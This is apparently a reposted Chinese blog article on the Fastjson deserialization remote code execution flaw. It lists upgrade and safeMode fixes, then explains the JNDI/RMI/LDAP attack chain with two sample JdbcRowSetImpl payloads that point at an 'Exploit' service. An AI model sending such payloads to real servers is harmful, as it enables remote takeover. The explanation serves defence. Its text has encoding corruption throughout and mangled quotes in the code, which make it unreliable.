據(jù)國(guó)家網(wǎng)絡(luò)與信息安全信息通報(bào)中心監(jiān)測(cè)發(fā)現(xiàn),開源Java開發(fā)組件Fastjson存在反序列化遠(yuǎn)程代碼執(zhí)行漏洞。攻擊者可利用上述漏洞實(shí)施任意文件寫入、服務(wù)端請(qǐng)求偽造等攻擊行為,造成服務(wù)器權(quán)限被竊取、敏感信息泄漏等嚴(yán)重影響。
先貼一個(gè)解決漏洞的方案:
1.升級(jí)到最新版本1.2.83
https://github.com/alibaba/fastjson/releases/tag/1.2.83
該版本涉及autotype行為變更,在某些場(chǎng)景會(huì)出現(xiàn)不兼容的情況,如遇遇到問題可以到
https://github.com/alibaba/fastjson/issues尋求幫助。
2.fastjson在1.2.68及之后的版本中引入了safeMode,配置safeMode后,無論白名單和黑名單,都不支持autoType,可杜絕反序列化Gadgets類變種攻擊(關(guān)閉autoType注意評(píng)估對(duì)業(yè)務(wù)的影響)。
開啟方法可參考
https://github.com/alibaba/fastjson/wiki/fastjson_safemode。
1.2.83修復(fù)了此次發(fā)現(xiàn)的漏洞,開啟safeMode是完全關(guān)閉autoType功能,避免類似問題再次發(fā)生,這可能會(huì)有兼容問題,請(qǐng)充分評(píng)估對(duì)業(yè)務(wù)影響后開啟。
3.可升級(jí)到fastjson v2
https://github.com/alibaba/fastjson2/releases
不過任何升級(jí)一定會(huì)伴隨或大或小的bug,一定要對(duì)業(yè)務(wù)的影響做評(píng)估。
下面對(duì)漏洞原理進(jìn)行介紹:
fastjson 是阿里巴巴開發(fā)的 java語言編寫的高性能 JSON 庫(kù),用于將數(shù)據(jù)在 Json 和 Java Object之間相互轉(zhuǎn)換。它沒有用java的序列化機(jī)制,而是自定義了一套序列化機(jī)制。
JSON.toJSONString 和 JSON.parseObject/JSON.parse 分別實(shí)現(xiàn)序列化和反序列化
Fastjson反序列化需要無參默認(rèn)構(gòu)造方法或者注解指定構(gòu)造方法并添加相應(yīng)參數(shù)。使用Feature.SupportNonPublicField才能打開非公有屬性的反序列化處理,并且@type可以指定反序列化任意類調(diào)用其set,get方法,并且由于反序列化的特性,我們可以通過目標(biāo)類的set方法自由的設(shè)置類的屬性值。
究極原理:攻擊者準(zhǔn)備rmi服務(wù)和web服務(wù),將rmi絕對(duì)路徑注入到lookup方法中,受害者JNDI接口會(huì)指向攻擊者控制rmi服務(wù)器,JNDI接口向攻擊者控制web服務(wù)器請(qǐng)求,遠(yuǎn)程加載惡意代碼,執(zhí)行構(gòu)造函數(shù)形成RCE。
下面這兩個(gè)就是含有攻擊性的待序列化對(duì)象:@type注解指明了其類型(漏洞利用類),并設(shè)置了數(shù)據(jù)源和開啟自動(dòng)提交。
//LADP 方式
String payload1 = “{”@type":“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“l(fā)dap://localhost:1389/Exploit”," + " “autoCommit”:true}“;
//RMI 方式
String payload2 = “{”@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“rmi://localhost:1099/Exploit”," + " “autoCommit”:true}";
這就用到了JNDI。JNDI提供了 查找和訪問各種命名和目錄服務(wù)的通用、統(tǒng)一的接口。支持的服務(wù):DNS,LDAP,RMI,CORBA等。
它是面向拓展的,也就是說我定義了個(gè)規(guī)矩,就是 SPI的概念 ,具體如何實(shí)現(xiàn)由擴(kuò)展者實(shí)現(xiàn)。文章來源:http://www.zghlxwxcb.cn/news/detail-490445.html
(可以連按shift查找目標(biāo)類)
由于在反序列化時(shí)會(huì)調(diào)用set方法,此時(shí)conn一定為null,所以掉入陷阱,進(jìn)行connet設(shè)置,我們點(diǎn)進(jìn)去。
發(fā)現(xiàn)里面調(diào)用了lookup函數(shù),并且調(diào)用getDataSourceName獲取數(shù)據(jù)源,上面含有攻擊性的待序列化對(duì)象恰好就有DataSourceName這個(gè)屬性。
接下來就是請(qǐng)求rmi服務(wù)器,執(zhí)行rmi服務(wù)器下發(fā)的命令,從而導(dǎo)致遠(yuǎn)程命令執(zhí)行漏洞。文章來源地址http://www.zghlxwxcb.cn/news/detail-490445.html
到了這里,關(guān)于Fastjson反序列化遠(yuǎn)程代碼執(zhí)行漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!